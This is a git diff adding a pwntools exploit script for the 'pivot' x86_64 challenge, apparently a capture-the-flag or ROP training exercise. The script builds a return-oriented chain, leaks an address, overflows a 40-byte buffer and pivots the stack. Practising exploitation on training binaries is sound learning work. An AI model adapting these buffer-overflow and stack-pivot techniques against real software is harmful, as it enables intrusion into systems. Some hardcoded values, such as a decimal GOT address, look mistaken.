diff options
Diffstat (limited to 'x86_64/pivot/exploit.py')
-rwxr-xr-x | x86_64/pivot/exploit.py | 43 |
1 files changed, 43 insertions, 0 deletions
diff --git a/x86_64/pivot/exploit.py b/x86_64/pivot/exploit.py new file mode 100755 index 0000000..a46b0cd --- /dev/null +++ b/x86_64/pivot/exploit.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python3 +from pwn import * +from os import getcwd +import re + +#context.terminal = ['kitty', 'sh', '-c'] +print(context.terminal) + +prog = gdb.debug('./pivot', gdbscript=''' + b pwnme + b *0x4009a5 +''' + +) + +payload = b'' +payload += p64(0x0000000000400720) # foothold@plt + +payload += p64(0x4009bb) # pop rax +payload += p64(601040) # foothold@plt's .got.plt entry + +payload += p64(0x00000000004007c8) # pop rbp +payload += p64(279) # should be the offset of pwnem from foothold's .got.plt + +payload += p64(0x4009c4) # adds the two + +payload += p64(0x00000000004007c1) # jmp rax +prog.sendline(payload) +pivit_location = int(re.findall('0x[0-9a-z]{12}', prog.readregexS('0x[0-9a-z]{12}'))[0], 16) +print(hex(pivit_location)) + +payload = b'' +#buffer overflow +for c in range(40): + payload += b'a' + +payload += p64(0x4009bb) # pop rax +payload += p64(pivit_location) # pivot location +payload += p64(0x4009bd) # xchg rsp,rax + +prog.sendlineafter('Now please send your stack smash', payload) +prog.interactive() + |